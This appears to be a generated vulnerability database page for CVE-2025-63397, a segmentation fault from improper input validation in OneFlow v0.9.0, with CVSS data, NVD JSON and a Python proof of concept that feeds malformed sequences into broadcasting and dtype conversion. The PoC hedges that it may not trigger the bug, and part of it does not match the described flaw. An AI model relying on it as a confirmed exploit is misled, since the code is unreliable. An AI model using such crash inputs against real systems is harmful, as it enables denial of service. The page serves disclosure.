Security Vulnerability Report
中文
CVE-2025-63397 CVSS 6.5 MEDIUM

CVE-2025-63397

Published: 2025-11-10 22:15:36
Last Modified: 2025-12-31 18:26:04

Description

Improper input validation in OneFlow v0.9.0 allows attackers to cause a segmentation fault via adding a Python sequence to the native code during broadcasting/type conversion.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:oneflow:oneflow:0.9.0:*:*:*:*:*:*:* - VULNERABLE
OneFlow v0.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-63397 PoC - OneFlow Input Validation Issue This PoC demonstrates how improper input validation in OneFlow v0.9.0 can lead to segmentation fault during broadcasting/type conversion. """ import oneflow as flow import numpy as np def trigger_vulnerability(): """ Attempt to trigger segmentation fault by providing malformed Python sequences during broadcasting operations. """ try: # Create tensors with incompatible shapes for broadcasting tensor_a = flow.tensor([[1, 2, 3]]) # Try to broadcast with malformed sequence # This may trigger the vulnerability if input validation is missing malformed_sequence = [[1, 2], [3, 4, 5]] # Inconsistent lengths tensor_b = flow.tensor(malformed_sequence) # Attempt broadcasting operation that may cause crash result = tensor_a + tensor_b print(f"Result: {result}") print("Vulnerability may not be triggered with this specific input") except Exception as e: print(f"Exception caught: {type(e).__name__}: {e}") def trigger_type_conversion_issue(): """ Try to trigger vulnerability through type conversion with invalid data. """ try: # Create tensor with unusual data structure # The vulnerability occurs when native code receives unexpected Python sequences invalid_data = flow.tensor([[1, 2, 3]], dtype=flow.float32) # Attempt operations that involve broadcasting and type conversion result = invalid_data.to(dtype=flow.int32) print(f"Conversion result: {result}") except Exception as e: print(f"Exception caught: {type(e).__name__}: {e}") if __name__ == "__main__": print("CVE-2025-63397 PoC for OneFlow Input Validation Issue") print("=" * 60) print("Note: This PoC attempts to trigger the vulnerability but may not") print("cause segmentation fault in all environments.\n") trigger_vulnerability() print("-" * 60) trigger_type_conversion_issue()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63397", "sourceIdentifier": "[email protected]", "published": "2025-11-10T22:15:36.390", "lastModified": "2025-12-31T18:26:04.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in OneFlow v0.9.0 allows attackers to cause a segmentation fault via adding a Python sequence to the native code during broadcasting/type conversion."}, {"lang": "es", "value": "La validación de entrada inadecuada en OneFlow v0.9.0 permite a los atacantes causar un fallo de segmentación mediante la adición de una secuencia de Python al código nativo durante la difusión/conversión de tipos."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oneflow:oneflow:0.9.0:*:*:*:*:*:*:*", "matchCriteriaId": "AC9348D2-8FE5-4116-A269-005AFB5CD510"}]}]}], "references": [{"url": "http://oneflow.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Daisy2ang", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/Oneflow-Inc/oneflow", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Oneflow-Inc/oneflow/issues/10666", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch"]}]}}